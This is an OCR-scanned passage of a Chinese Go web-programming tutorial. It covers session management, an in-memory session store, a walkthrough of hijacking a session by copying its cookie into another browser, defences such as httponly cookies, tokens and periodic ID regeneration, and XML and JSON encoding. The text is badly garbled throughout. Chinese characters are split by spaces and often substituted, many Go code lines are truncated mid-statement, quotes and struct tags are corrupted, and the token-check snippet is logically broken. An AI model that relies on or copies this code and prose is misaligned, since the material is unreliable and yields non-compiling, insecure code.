Session 实 体 进行 更 新 ， 都 会 触发 对 最 后 访问 时 间 的 修改 ， 这 证 当 GC 的 号 候 训 不 会 
误 删 除 还 在 使 用 的 Session 实 体 。 


session E 


我 们 知道 ，Web 应 用 中 有 用 户 退 出 这 个 操作 ， 那 么 当 用 户 退 出 应 用 的 时 候 ， 我 们 需 
要 对 该 用 户 的 session 数 据 进行 销毁 操作 ， 上 面 的 代码 已 经 演示 了 如 何 使 用 session 
重 置 操作 ， 下 面 这 个 函数 就 是 实现 了 这 个 功能 


//Destroy sessionid 
func (manager *Manager) SessionDestroy(w http.ResponsewWriter, r *hi 


cookie, err := r.Cookie(manager .cookieName ) 

if err != nil || cookie.Value == "" { 
return 

} else { 


manager . Llock.Lock() 

defer manager .lock.Unlock() 

manager . provider .SessionDestroy(cookie.Value) 

expiration := time.Now() 

cookie := http.Cookie{Name: manager.cookieName, Path: "/", 
http.SetCookie(w, &cookie) 





Session 销毁 


我 们 来 看 一 下 Session 管 理 器 如 何 来 管理 销毁 ,只 要 我 们 在 Main 启动 的 时 候 启 动 


func init() { 
go globalSessions.GC() 


func (manager *Manager) GC() { 

manager . lock.Lock( ) 

defer manager.lock.Unlock() 

manager .provider .SessionGC(manager .maxlifetime) 
time.AfterFunc(time.Duration(manager.maxlifetime), func() { mar 





我 们 可 以 看 到 GC 充分 利用 了 time 包 中 的 定时 器 功能 ， 当 超时 maxLifeTime 之 后 调 
用 GC 男 数 ， 这 样 就 可 以 保证 maxLifeTime 时 间 内 的 session 都 是 可 用 的 ， 类 似 的 
方案 也 可 以 用 于 统计 在 线 用 户 数 之 类 的 。 


aR 


ase 


结 


至 此 我 们 实现 了 一 个 用 来 在 Web 应 用 中 全 局 管理 Session 的 SessionManager， 定 义 
了 用 来 提供 Session 存 储 实 现 Provider 的 接口 ,下 一 小 节 ， 我 们 将 会 通过 接口 定义 来 
实现 一 些 Provider, 供 大 家 参考 学 习 。 
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6.3 session 存 储 


上 一 节 我 们 介绍 了 Session 管 理 器 的 实现 原理 ， 定 义 了 存储 session 的 接口 ， 这 小 节 
我 们 将 示例 一 个 基于 内 存 的 session 存 储 接口 的 实现 ， 其 他 的 存储 方式 ， 读 者 可 以 自 
行 参考 示例 来 实现 ， 内 存 的 实现 请 看 下 面 的 例子 代码 


package memory 


import ( 
"container/list" 
"github.com/astaxie/session" 
"sync" 
"time" 

) 


var pder = &Provider{list: list.New()} 


type SessionStore struct { 


sid string //session id 唯一 标示 
timeAccessed time,Time // 最 后 访问 时 间 
value map[interface{}]interface{} //session 里 面 存储 的 值 


} 


func (st *SessionStore) Set(key, value interface{}) error { 
st.value[key] = value 
pder .SessionUpdate(st.sid) 
return nil 


} 


func (st *SessionStore) Get(key interface{}) interface{} { 
pder .SessionUpdate(st.sid) 
if v, ok := st.value[key]; ok { 
return v 
} else { 
return nil 


return nil 


} 


func (st *SessionStore) Delete(key interface{}) error { 
delete(st.value, key) 
pder .SessionUpdate(st.sid) 
return nil 


} 


func (st *SessionStore) SessionID() string { 
return st.sid 
} 


type Provider struct { 


lock sync .Mutex // 用 来 锁 
sessions map[string]*list.Element // 用 来 存储 在 内 存 
list *list.List // 用 来 做 gc 


} 


func (pder *Provider) SessionInit(sid string) (session.Session, ert 
pder.lock.Lock() 
defer pder.lock.Unlock() 


v := make(map[interface{}]interface{}, 0) 
newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), vé 
element := pder.list.PushBack(newsess) 


pder.sessions[sid] = element 
return newsess, nil 


} 
func (pder *Provider) SessionRead(sid string) (session.Session, ert 
if element, ok := pder.sessions[sid]; ok { 
return element .Value.(*SessionStore), nil 
} else { 
sess, err := pder.SessionInit(sid) 
return sess, err 
} 
return nil, nil 
} 
func (pder *Provider) SessionDestroy(sid string) error { 
if element, ok := pder.sessions[sid]; ok { 
delete(pder.sessions, sid) 
pder.list.Remove(element ) 
return nil 
} 
return nil 
} 


func (pder *Provider) SessionGC(maxlifetime int64) { 
pder.lock.Lock() 
defer pder.lock.Unlock() 


for { 
element := pder.list.Back() 
if element == nil { 


break 


if (element.Value.(*SessionStore).timeAccessed.Unix() + ma 
pder.list.Remove(element ) 
delete(pder.sessions, element.Value.(*SessionStore) .sit 
} else { 
break 
} 


func (pder *Provider) SessionUpdate(sid string) error { 
pder.lock.Lock() 
defer pder.lock.Unlock() 
if element, ok := pder.sessions[sid]; ok { 
element .Value.(*SessionStore).timeAccessed = time.Now() 
pder . list .MoveToFront(element ) 
return nil 


return nil 


} 


func init() { 
pder.sessions = make(map[string]*list.Element, 0) 
session.Register("memory", pder) 


上 面 这 个 代码 实现 了 一 个 内 存 存 储 的 session 机 制 。 通 过 init 函 数 注 册 到 session 管 理 
器 中 。 这 样 就 可 以 方便 的 调用 了 。 我 们 如 何 来 调用 该 引擎 呢 ? 请 看 下 面 的 代码 





import ( 
"github.com/astaxie/session" 
_ "github.com/astaxie/session/providers/memory" 
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管理 器 中 ， 我 们 就 可 以 使 用 了 ， 通 过 如 下 方式 就 可 以 初始 化 一 个 session 管 理 器 : 


var globalSessions *session.Manager 


// 然 后 在 jnit 函 数 中 初始 化 

func init() { 
globalSessions, _ = session.NewManager("memory", "gosessionid", 
go globalSessions.GC() 





e 目录 
e 上 一 节 : Go 如 何 使 用 session 
e 下 一 节 : 预防 session 劫 持 


6.4 预防 session 劫 持 


session 劫 持 是 一 种 广泛 存在 的 比较 严重 的 安全 威胁 ， 在 session 技 术 中 ， 客 户 端 和 
服务 端 通过 session 的 标识 符 来 维护 会 话 ， 但 这 个 标识 符 很 容易 就 能 被 嗅 探 到 ， 从 
而 被 其 他 人 利用 . 它 是 中 间 人 攻击 的 一 种 类 型 。 


本 节 将 通过 一 个 实例 来 演示 会 话 劫持 ， 和 希望 通过 这 个 实例 ， 能 让 读者 更 好 地 理解 
session 的 本 质 。 


Session 劫持 过 程 
我 们 写 了 如 下 的 代码 来 展示 一 个 count 计 数 器 : 


func count(w http.Responsewriter, r *http.Request) { 
sess := globalSessions.SessionStart(w, r) 
ct := sess.Get("countnum" ) 
if ct == nil { 
sess.Set("countnum", 1) 
} else { 
sess.Set("countnum", (ct.(int) + 1)) 


t, _ := template.ParseFiles("count.gtpl") 


w.Header().Set("Content-Type", "text/html") 
t.Execute(w, sess.Get("countnum") ) 


count.gtpl 的 代码 如 下 所 示 : 


Hi. Now count:{{.}} 


然后 我 们 在 浏览 器 里 面 刷新 可 以 看 到 如 下 内 容 : 


图 6.4 浏览 器 端 显示 count 数 


随 着 刷新 ， a a. 当 数 字 显 示 为 6 的 时 候 ， 打 开 浏 览 器 (以 chrome 为 例 ) 
的 cookie 管 理 器 ， 可 以 看 到 类 似 如 下 的 信息 : 


图 6.5 获取 浏览 器 端 保存 的 cookie 


下 面 这 个 步骤 最 为 关键 : 打开 另 一 个 浏览 器 (这 里 我 打开 了 firefox 浏 览 器 ), 复 制 
chrome 地 址 栏 里 的 地 址 到 新 打开 的 浏览 器 的 地 址 栏 中 。 然后 打开 frefox 的 cookie 模 
拟 插件 ， 新 建 一 个 cookie， 把 按 上 图 中 cookie 内 容 原样 在 firefox 中 重建 一 份 : 


图 6.6 模拟 cookie 
回 车 后 ， 你 将 看 到 如 下 内 容 : 


图 6.7 劫持 session 成 功 


可 以 看 到 虽然 换 了 浏览 器 ， 但 是 我 们 却 获得 了 sessionID， 然 后 模拟 了 cookie 存 储 的 
过 程 。 这 个 例子 是 在 同一 台 计 算 机 上 做 的 ， 不 过 即使 换 用 两 台 来 做 ， 其 结果 仍然 一 
样 。 此 时 如 果 交 蔡 点 击 两 个 浏览 器 里 的 链接 你 会 发 现 它 们 其 实 操纵 的 是 同一 个 计数 
器 。 不 必 惊 计 ， 此 处 firefox 盗 用 了 chrome 和 goserver 之 间 的 维持 会 话 的 钥匙 ， 即 
gosessionid， 这 是 一 种 类 型 的 “会 话 支持 ”。 在 goserver 看 来 ， 它 从 http 请 求 中 得 到 
了 一 个 gosessionid， 由 于 HTTP 协 议 的 无 状态 性 ， 它 无 法 得 知 这 个 gosessionid 是 从 
chrome 那 里 “劫持 ?来 的 ， 它 依然 会 去 查找 对 应 的 session， 并 执行 相关 计算 。 与 此 同 
时 chrome 也 无 法 得 知 自己 保持 的 会 话 已 经 被 “支持 ”。 


session 动 持 防 范 


cookieonly 和 token 


通过 上 面 session 劫 持 的 简单 演示 可 以 了 解 到 session 一 旦 被 其 他 人 劫持 ， 就 非常 危 
险 ， 动 持 者 可 以 假装 成 被 动 持 者 进行 很 多 非法 操作 。 那 么 如 何 有 效 的 防止 Session 动 
持 呢 ? 


其 中 一 个 解决 方案 就 是 sessionlID 的 值 只 允许 cookie 设 置 ， 而 不 是 通过 URL 重 置 方式 
设置 ， 同 时 设置 cookie 的 httponly 为 true, 这 个 属性 是 设置 是 否 可 通过 客户 端 脚本 访问 
这 个 设置 的 cookie， 第 一 这 个 可 以 防止 这 个 cookie 被 XSS 读 取 从 而 引起 session 动 
持 ， 第 二 cookie 设 置 不 会 像 URL 重 置 方式 那么 容易 获取 sessionlD。 


第 二 步 就 是 在 每 个 请 求 里 面 加 上 token， 实 现 类 似 前 面 章节 里 面 讲 的 防止 form 重 复 
递交 类 似 的 功能 ， 我 们 在 每 个 请 求 里 面 加 上 一 个 隐藏 的 oken， 然 后 每 次 验证 这 个 
token， 从 而 保证 用 户 的 请 求 都 是 唯一 性 。 


h := md5.New() 
salt:="astaxie%^7&8888" 
io.WriteString(h,salt+time.Now().String()) 
token:=fmt.Sprintf("%x",h.Sum(nil)) 
if r.Form["token"]!=token{ 

// 提 示 登 录 


sess.Set("token", token) 


间隔 生成 新 的 SID 


还 有 一 个 解决 方案 就 是 ， 我 们 给 session 额 外 设置 一 个 创建 时 间 的 值 ， 一 旦 过 了 一 定 
的 时 间 ， 我 们 销毁 这 个 sessionID， 重 新 生成 新 的 Session， 这 样 可 以 一 定 程度 上 防 
止 session 动 持 的 问题 。 


createtime := sess.Get("createtime") 

if createtime == nil { 
sess.Set("createtime", time.Now().Unix()) 

} else if (cCreatetime.(int64) + 60) < (time.Now().Unix()) { 
globalSessions.SessionDestroy(w, r) 
sess = globalSessions.SessionStart(w, r) 


Session 启动 后 ， 我 们 设置 了 一 个 值 ， 用 于 记录 生成 sessionID 的 时 间 。 通 过 判断 每 
次 请 求 是 否 过 期 (这 里 设置 了 60 秒 ) 定 期 生成 新 的 ID， 这 样 使 得 攻击 者 获取 有 效 
sessionID 的 机 会 大 大 降低 。 


上 面 两 个 手段 的 组 合 可 以 在 实践 中 消除 session 支 持 的 风险 ， 一 方面 ， 由 于 
sessionID 频 繁 改 变 ， 使 攻击 者 难 有 机 会 获取 有 效 的 sessionlD ; 另 一 方面 ， 因 为 
sessionID 只 能 在 cookie 中 传递 ， 然 后 设置 了 httponly， 所 以 基于 URL 攻 击 的 可 能 性 
为 需 ， 同 时 被 XSS 获 取 sessionID 也 不 可 能 。 最 后 ， 由 于 我 们 还 设置 了 MaxAge=0， 
这 样 就 相当 于 session cookie 不 会 留 在 浏览 器 的 历史 记录 里 面 。 


6.5 小 结 


这 章 我 们 学 习 了 什么 是 session， 什 么 是 cookie， 以 及 他 们 两 者 之 间 的 关系 。 但 是 目 
前 Go 官方 标准 包 里 面 不 支持 session， 所 以 我 们 设计 了 一 个 session 管 理 器 ， 实 现 了 
session 从 创建 到 销毁 的 整个 过 程 。 然 后 定义 了 Provider 的 接口 ， 使 得 可 以 支持 各 种 
后 端的 session 存 储 ， 然 后 我 们 在 第 三 小 节 里 面 介 绍 了 如 何 使 用 内 存 存储 来 实现 
session 的 管理 。 第 四 小 节 我 们 讲解 了 session 劫 持 的 过 程 ， 以 及 我 们 如 何 有 效 的 来 
防止 Session 支 持 。 通 过 这 一 章 的 讲解 ， 希 望 能 够 让 读者 了 解 整个 sesison 的 执行 原 
理 以 及 如 何 实现 ， 而 且 是 如 何 更 加 安全 的 使 用 session。 


7 文本 义理 


Web 开 发 中 对 于 文本 义理 是 非常 重要 的 一 部 分 ， 我 们 往往 需要 对 输出 或 者 输入 的 内 
容 进 行 处 理 ， 这 里 的 文本 包括 字符 串 、 数 字 、Json、XMI 等 等 。Go 语 言 作 为 一 门 高 
性 能 的 语言 ， 对 这 些 文本 的 处 理 都 有 官方 的 标准 库 来 支持 。 而 且 在 你 使 用 中 你 会 发 
现 Go 标 准 库 的 一 些 设计 相当 的 巧妙 ， 而 且 对 于 使 用 者 来 说 也 很 方便 就 能 处 理 这 些 文 
本 。 本 章 我 们 将 通过 四 个 小 节 的 介绍 ， 让 用 户 对 Go 语言 处 理 文本 有 一 个 很 好 的 认 


Fo 


XML 是 目前 很 多 标准 接口 的 交互 语言 ， 很 多 时 候 和 一 些 Java 编 写 的 webserver 进 行 
交互 都 是 基于 XML 标准 进行 交互 ，7.1 小 节 将 介绍 如 何 义理 XML 文本 ， 我 们 使 用 
XML 之 后 发 现 它 太 复杂 了 ， 现 在 很 多 互联 网 企业 对 外 的 API 大 多 数 采 用 了 JSON 格 
式 ， 这 种 格式 描述 简单 ， 但 是 又 能 很 好 的 表达 意思 ，7.2 小 节 我 们 将 讲述 如 何 来 饼 理 
这 样 的 JSON 格 式 数 据 。 正 则 是 一 个 让 人 又 爱 又 恨 的 工具 ， 它 义理 文本 的 能 力 非 常 
强大 ， 我 们 在 前 面 表单 验证 里 面 已 经 有 所 领略 它 的 强大 ，7.3 小 节 将 详细 的 更 深入 的 
讲解 如 何 利 用 好 Go 的 正则 。Web 开 发 中 一 个 很 重要 的 部 分 就 是 MVC 分 离 ， 在 Go 语 
言 的 Web 开 发 中 V 有 一 个 专门 的 包 来 支持 template ,7.4 小 节 闻 详细 的 讲解 如 何 使 
用 模版 来 进行 输出 内 容 。7.5 小 节 将 详细 介绍 如 何 进行 文件 和 文件 夹 的 操作 。7.6 小 
结 介 绍 了 字符 串 的 相关 操作 。 


目录 
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e 下 一 节 : XML 义理 


7.1 XML% E 


XML 作 为 一 种 数据 交换 和 信息 传递 的 格式 已 经 十 分 普及 。 而 随 着 Web 服 务 日 益 广泛 
的 应 用 ， 现 在 XML 在 日 常 的 开发 工作 中 也 扮演 了 您 发 重要 的 角色 。 这 一 小 节 ， 我 们 
将 就 Go 语言 标准 包 中 的 XML 相关 义理 的 包 进 行 介绍 。 


这 个 小 节 不 会 涉及 XML 规范 相关 的 内 容 (如 需 了 解 相 关 知识 请 参考 其 他 文献 ) ， 而 
是 介绍 如 何 用 Go 语言 来 编 解 码 XML 文 件 相 关 的 知识 。 


运 维 人 员 ， 你 为 你 所 管理 的 所 有 服务 器 生成 了 如 下 内 容 的 xml 的 配置 


<?xml version="1.0" encoding="utf-8"?> 
<servers version="1"> 
<server> 
<serverName>Shanghai_VPN</serverName> 
<serverIP>127.0.0.1</serverIP> 
</server> 
<server> 
<serverName>Beijing VPN</serverName> 
<serverIP>127.0.0.2</serverIP> 
</server> 
</servers> 


上 面 的 XML 文档 描述 了 两 个 服务 器 的 信息 ， 包 含 了 服务 器 名 和 服务 器 的 IP 信 息 ， 接 
下 来 的 Go 例子 以 此 XML 描述 的 信息 进行 操作 。 


解析 XML 


如 何 解析 如 上 这 个 XML 文件 呢 ? 我 们 可 以 通过 xml 包 的 Unmarshal 函数 来 达到 我 
们 的 目的 


func Unmarshal(data []byte, v interface{}) error 


data 接 收 的 是 XML 数据 流 ，v 是 需要 输出 的 结构 ， 定 义 为 interface， 也 就 是 可 以 把 
XML 转换 为 任意 的 格式 。 我 们 这 里 主要 介绍 struct 的 转换 ， 因 为 struct 和 XML 都 有 类 
似 树 结构 的 特征 。 


示例 代码 如 下 : 


package main 


import ( 
"encoding/xm1" 
"Fmt W 
"io/ioutil" 
wast 
) 
type Recurlyservers struct { 
XMLName xml.Name ~xml:"servers"~ 
Version string ~*xml:"version,attr"~ 
Svs []server ~xml:"server"- 
Description string `xml:", innerxml" ` 
} 
type server struct { 
XMLName xml.Name ‘xml:"server". 
ServerName string ~*xml:"serverName"~ 
ServerIP string *xml:"serverIP"- 
} 
func main() { 
file, err := os.Open("servers.xml") // For read access. 
if err != nil { 
fmt .Printf("error: %v", err) 
return 
} 


defer file.Close() 
data, err := ioutil.ReadAll(file) 


if err != nil { 
fmt .Printf("error: %v", err) 
return 

} 

v := Recurlyservers{} 

err = xml.Unmarshal(data, &v) 

if err != nil { 
fmt .Printf("error: %v", err) 
return 

} 


fmt.Println(v) 
} 


二 | 
XML 本 质 上 是 一 种 树 形 的 数据 格式 ， 而 我 们 可 以 定义 与 之 匹配 的 go 语言 的 struct 类 


型 ， 然 后 通过 xml.Unmarshal 来 将 xml 中 的 数据 解析 成 对 应 的 struct 对 象 。 如 上 例子 
输出 如 下 数据 


{{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijir 
<server> 
<serverName>Shanghai_VPN</serverName> 
<serverIP>127.0.0.1</serverIP> 
</server> 
<server> 
<serverName>Beijing VPN</serverName> 
<serverIP>127.0.0.2</serverIP> 
</server> 


} 


«| = 








上 面 的 例子 中 ， 将 xml 文 件 解析 成 对 应 的 struct 对 象 是 通过 xml.Unmarshal 来 完成 
的 ， 这 个 过 程 是 如 何 实现 的 ? 可 以 看 到 我 们 的 struct 定 义 后 面 多 了 一 些 类 似 

于 xml:"serverName" 这 样 的 内 容 ,这 个 是 struct 的 一 个 特性 ， 它 们 被 称 为 struct 
tag， 它 们 是 用 来 辅助 反射 的 。 我 们 来 看 一 下 Unmarshal WES: 


func Unmarshal(data []byte, v interface{}) error 


我 们 看 到 函数 定义 了 两 个 参数 ， 第 一 个 是 XML 数 据 流 ， 第 二 个 是 存储 的 对 应 类 型 ， 
目前 支持 struct、slice 和 string，XML 包 内 部 采用 了 反射 来 进行 数据 的 映射 ， 所 以 v 
里 面 的 字段 必须 是 导出 的 。 Unmarshal 解析 的 时 候 XML 元 素 和 字段 怎么 对 应 起 来 
的 呢 ?这 是 有 一 个 优先 级 读 取 流程 的 ， 首 先 会 读 取 struct tag, MRRXA, PANS 
对 应 字段 名 。 必 须 注意 一 点 的 是 解析 的 时 候 tag、 字 段 名 、XML 元 素 都 是 大 小 写 敏 
感 的 ， 所 以 必须 一 一 对 应 字段 。 


Go 语言 的 反射 机 制 ， 可 以 利用 这 些 tag 信 息 来 将 来 自 XML 文 件 中 的 数据 反射 成 对 应 
的 struct 对 象 ， 关 于 反射 如 何 利用 struct tag 的 更 多 内 容 请 参阅 reflect 中 的 相关 内 容 。 


解析 XML 到 struct 的 时 候 遵 循 如 下 的 规则 : 


e 如 果 struct 的 一 个 字段 是 string 或 者 [jbyte 类 型 且 它 的 tag 含 有 ",innerxml" , 
Unmarshal 将 会 将 此 字段 所 对 点 的 元 素 内 所 有 内 艇 的 原始 xml 累 加 到 此 字段 上 ， 
如 上 面 例子 Description 定 义 。 最 后 的 输出 是 


<server> 
<serverName>Shanghai_VPN</serverName> 
<serverIP>127.0.0.1</serverIP> 

</server> 

<server> 
<serverName>Beijing_VPN</serverName> 
<serverIP>127.0.0.2</serverIP> 

</server> 


e 如 果 struct 中 有 一 个 叫做 XMLName， 且 类 型 为 xml.Name 字 段 ， 那 么 在 解析 的 
时 候 就 会 保存 这 个 element 的 名 字 到 该 字段 ,如 上 面 例 子 中 的 servers。 


e 如 果 某 个 struct 字 段 的 tag 定 义 中 含有 XML 结构 中 element 的 名 称 ， 那 么 解析 的 
时 候 就 会 把 相应 的 element 值 赋值 给 该 字段 ， 如 上 servername 和 serverip 定 义 。 
e 如 果 某 个 struct 字 段 的 tag 定 义 了 中 含有 "attr" ， 那 么 解析 的 时 候 就 会 将 该 
结构 所 对 应 的 element 的 与 字段 同名 的 属性 的 值 赋值 给 该 字段 ， 如 上 version 定 

义 。 

e 如 果 某 个 struct 字 段 的 tag 定 义 型 如 "a>b>c" , 则 解析 的 时 候 ， 会 将 Xml 结构 a 下 

面 的 b 下 面 的 c 元 素 的 值 赋值 给 该 字段 。 

e 如 果 某 个 struct 字 段 的 tag 定 义 了 "-" ,那么 不 会 为 该 字段 解析 匹配 任何 xml 数 
据 。 

如 果 struct 字 段 后 面 的 tag 定 义 了 ",any" ， 如 果 他 的 子 元 素 在 不 满足 其 他 的 规 
则 的 时 候 就 会 匹配 到 这 个 字段 。 

e。 如 果 某 个 XML 元 素 包 含 一 条 或 者 多 条 注释 ， 那 么 这 些 注 释 将 被 累加 到 第 一 个 
tag 含 有 ",comments" 的 字段 上 ， 这 个 字段 的 类 型 可 能 是 []jbyte 或 string, 如 果 没 有 
这 样 的 字段 存在 ， 那 么 注释 将 会 被 抛弃 。 

上 面 详 细 讲 述 了 如 何 定义 struct 的 tag。 只 要 设置 对 了 tag， 那 么 XML 解析 就 如 上 面 
示例 般 简 单 ，tag 和 XML 的 element 是 一 一 对 应 的 关系 ， 如 上 所 示 ， 我 们 还 可 以 通过 
slice 来 表示 多 个 同 级 元 素 。 

注意 : 为 了 正确 解析 ，go 语 言 的 xml 包 要 求 struct 定 义 中 的 所 有 字段 必须 是 可 导 

出 的 ( 即 首 字母 大 写 ) 


输出 XML 


假若 我 们 不 是 要 解析 如 上 所 示 的 XML 文件 ， 而 是 生成 它 ， 那 么 在 go 语言 中 又 该 如 何 
实现 呢 ? xml 包 中 提供 了 marshal 和 MarshalIndent ATM, Ke BRIN 
需求 。 这 两 个 画 数 主 要 的 区 别 是 第 二 个 画 数 会 增加 前 缀 和 缩 进 ， 画 数 的 定义 如 下 所 
小 : 


func Marshal(v interface{}) ([]byte, error) 
func MarshalIndent(v interface{}, prefix, indent string) ([]byte, « 


E 


: TRAR- TEREM 来 生成 XML 的 结构 定义 类 型 数据 ， 都 是 返回 生成 的 XML 数 
Eiio 


下 面 我 们 来 看 一 下 如 何 输出 如 上 的 XML : 





package main 


import ( 
"encoding/xm1" 
"Fmt " 
"os" 

) 


type Servers struct { 
XMLName xml.Name ~xml: "servers" 
Version string *xml:"version,attr"” 
Svs []server ~xml:"server"~ 


} 


type server struct { 
ServerName string ~xml:"serverName"~ 
ServerIP string ~xml:"serverIP"- 


} 


func main() { 
v := &Servers{Version: "1"} 
v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) 
v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) 
output, err := xml.MarshalIndent(v, " ", " us) 
if err != nil { 
fmt .Printf("error: %v\n", err) 
} 


os.Stdout.Write([]byte(xml.Header ) ) 


os.Stdout.Write(output ) 


上 面 的 代码 输出 如 下 信息 : 


<?xml version="1.0" encoding="UTF-8"?> 

<servers version="1"> 

<server> 
<serverName>Shanghai_VPN</serverName> 
<serverIP>127.0.0.1</serverIP> 

</server> 

<server> 
<serverName>Beijing VPN</serverName> 
<serverIP>127.0.0.2</serverIP> 

</server> 

</servers> 


和 我 们 之 前 定义 的 文件 的 格式 一 模 一 样 ， 之 所 以 会 
有 os.Stdout.write([]byte(xml.Header)) 这 名 代码 的 出 现 ， 是 因 
为 xml.MarshalIndent 或 者 xml.Marshal 输出 的 信息 都 是 不 带 XML 头 的 ， 为 了 


生成 正确 的 xml 文 件 ， 我 们 使 用 了 xml 包 预定 义 的 Header 变 量 。 


我 们 看 到 Marshal 豆 数 接收 的 参数 v 是 interface 人 类 型 的 ， 即 它 可 以 接受 任意 类 型 
的 参数 ， 那 么 xml 包 ， 根 据 什 么 规则 来 生成 相应 的 XML 文件 呢 ? 


如 果 v 是 array 或 者 slice， 那 么 输出 每 一 个 元 素 ， 类 似 value 

如 果 v 是 指针 ， 那 么 会 Marshal 指 针 指 向 的 内 容 ， 如 果 指 针 为 空 ， 什 么 都 不 输出 
如 果 v 是 interface， 那 么 就 处 理 interface 所 包含 的 数据 

如 果 v 是 其 他 数据 类 型 ， 就 会 输出 这 个 数据 类 型 所 拥有 的 字段 信息 


生成 的 XML 文件 中 的 element 的 名 字 又 是 根据 什么 决定 的 呢 ? 元 素 名 按照 如 下 优先 
级 从 struct 中 获取 : 


如 果 v 是 struct，XMLName 的 tag 中 定义 的 名 称 
类 型 为 xml.Name 的 名 叫 XMLName 的 字段 的 值 
通过 struct 中 字段 的 tag 来 获取 

通过 struct 的 字段 名 用 来 获取 

marshall 的 类 型 名 称 


我 们 应 如 何 设置 struct 中 字段 的 tag 信 息 以 控制 最 终 xml 文 件 的 生成 呢 ? 


XMLName 不 会 被 输出 

tag 中 含有 "-" 的 字段 不 会 输出 

tag 中 含有 "name,attr" ， 会 以 name 作 为 属性 名 ， 字 段 值 作为 值 输出 为 这 个 
XML 元 素 的 属性 ， 如 上 version 字 段 所 描述 

tag 中 含有 “",attr" ， 会 以 这 个 struct 的 字段 名 作为 属性 名 输出 为 XML 元 素 的 
属性 ， 类 似 上 一 条 ， 只 是 这 个 name 默 认 是 字段 名 了 。 


e tag 中 含有 ",chardata" ， 输 出 为 xml 的 character data 而 非 element。 
。tag 中 含有 ",innerxml" ， 将 会 被 原样 输出 ， 而 不 会 进行 常规 的 编码 过 程 
。tag 中 含有 “", comment" ， 将 被 当 作 xml 注 释 来 输出 ， 而 不 会 进行 常规 的 编码 过 


程 ， 字 段 值 中 不 能 含有 "--" 字 符 串 

tag 中 含有 "omitempty" ,如 果 该 字段 的 值 为 空 值 那么 该 字段 就 不 会 被 输出 到 
XML， 空 值 包括 : false、0、nil 指 针 或 nil 接 口 ， 任 何 长 度 为 0 的 array, slice, 
map 或 者 string 

tag 中 含有 "a>b>c" ， 那 么 就 会 循环 输出 三 个 元 素 a 包 含 b，b 包 含 c， 例 如 如 下 
代码 就 会 输出 


FirstName string “xml: "name>first"~ 
LastName string “xml: "name>last"” 


<name> 
<first>Asta</first> 
<last>Xie</last> 
</name> 


上 面 我 们 介绍 了 如 何 使 用 Go 语言 的 xml 包 来 编 /解码 XML 文件 ， 重 要 的 一 点 是 对 XML 
的 所 有 操作 都 是 通过 struct tag 来 实现 的 ， 所 以 学 会 对 struct tag 的 运用 变 得 非常 重 
要 ， 在 文章 中 我 们 简要 的 列举 了 如 何 定义 tag。 更 多 内 容 或 tag 定 义 请 参看 相应 的 官 
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7.2 JSON 


JSON (Javascript Object Notation) 是 一 种 轻 量 级 的 数据 交换 语言 ， 以 文字 为 基 
础 ， 具 有 自我 描述 性 且 易 于 让 人 阅读 。 尽 管 JSON 是 Javascript 的 一 TER, 但 
JSON 是 独立 于 语言 的 文本 格式 ， 并 且 采 用 了 类 似 于 C 语 言 家 族 的 一 些 习 惯 。JSON 
与 XML 最 大 的 不 同 在 于 XML 是 一 个 完整 的 标记 语言 ， 而 JSON 不 是 。JSON 由 于 比 
XML 更 小 、 更 快 ， 更 易 解析 ,以 及 浏览 器 的 内 建 快速 解析 支持 ,使 得 其 更 适用 于 网 络 
数据 传输 领域 。 目前 我 们 看 到 很 多 的 开放 平台 ， 基本 上 都 是 采用 了 JSON 作 为 他 们 
的 数据 交互 的 接口 。 既 然 JSON 在 Web 开 发 中 如 此 重要 ， 那 么 Go 语言 对 JSON 支 持 
的 怎么 样 呢 ? Go 语言 的 标准 库 已 经 非常 好 的 支持 了 JSON， 可 以 很 容易 的 对 JSON 
数据 进行 编 、 解 码 的 工作 。 


前 一 小 节 的 运 维 的 例子 用 json 来 表示 ， 结 果 描 述 如 下 : 
{"servers": [{"serverName":"Shanghai_VPN", "serverIP":"127.0.0.1"}, {' 
| _ ee 


本 小 节余 下 的 内 容 将 以 此 JSON 数 据 为 基础 ， 来 介绍 go 语言 的 json 包 对 JSON 数 据 的 
编 、 解 码 。 





解析 JSON 


解析 到 结构 体 


假如 有 了 上 面 的 JSON 串 ， 那 么 我 们 如 何 来 解析 这 个 JSON 串 呢 ? Go 的 JSON 包 中 有 
AN F eax 


func Unmarshal(data []byte, v interface{}) error 


通过 这 个 函 数 我 们 就 可 以 实现 解析 的 目的 ， 详 细 的 解析 例子 请 看 如 下 代码 : 


package main 


import ( 
"encoding/json" 
" fmt W 

) 


type Server struct { 
ServerName string 
ServerIP string 


} 


type Serverslice struct { 
Servers []Server 


} 


func main() { 
var s Serverslice 
str := “{"servers":[{"serverName": "Shanghai_VPN", "serverIP": "1 
json.Unmarshal([]byte(str), &s) 
fmt.Println(s) 


‘ = Be 


在 上 面 的 示例 代码 中 ， 我 们 首先 定义 了 与 json 数 据 对 应 的 结构 体 ， 数 组 对 应 slice， 
字段 名 对 应 JSON 里 面 的 KEY， 在 解析 的 时 候 ， 如 何 将 json 数 据 与 struct 字 段 相 匹配 
Ne ? 例如 JSON 的 key 是 Foo ， 那 么 怎么 找 对 应 的 字段 呢 ? 


。 首先 查找 tag 含 有 Foo 的 可 导出 的 struct 字 段 ( 首 字母 大 写 ) 
e 其 次 查找 字段 名 是 Foo 的 导出 字段 
e 最 后 查找 类 似 Foo 或 者 Foo 这 样 的 除了 首 字母 之 外 其 他 大 小 写 不 敏感 的 导出 





字段 
聪明 的 你 一 定 注意 到 了 这 一 点 : 能 够 被 赋值 的 字段 必须 是 可 导出 字段 ( 即 首 字母 大 


写 ) 。 同 时 JSON 解 析 的 时 候 只 会 解析 能 找 得 到 的 字段 ， 找 不 到 的 字段 会 被 忽略 ， 
这 样 的 一 个 好 处 是 : 当 你 接收 到 一 个 很 大 的 JSON 数 据 结 构 而 你 却 只 想 获取 其 中 的 
部 分 数据 的 时 人 息 ， 你 只 需 将 你 想 要 的 数据 对 应 的 字段 名 大 写 ， 即 可 轻松 解决 这 个 问 


是 。 


解析 到 interface 


上 面 那 种 解析 方式 是 在 我 们 知晓 被 解析 的 JSON 数 据 的 结构 的 前 提 下 采取 的 方案 ， 
如 果 我 们 不 知道 被 解析 的 数据 的 格式 ， 又 应 该 如 何 来 解析 呢 ? 


我 们 知道 interface 们 可 以 用 来 存储 任意 数据 类 型 的 对 象 ， 这 种 数据 结构 正好 用 于 存 
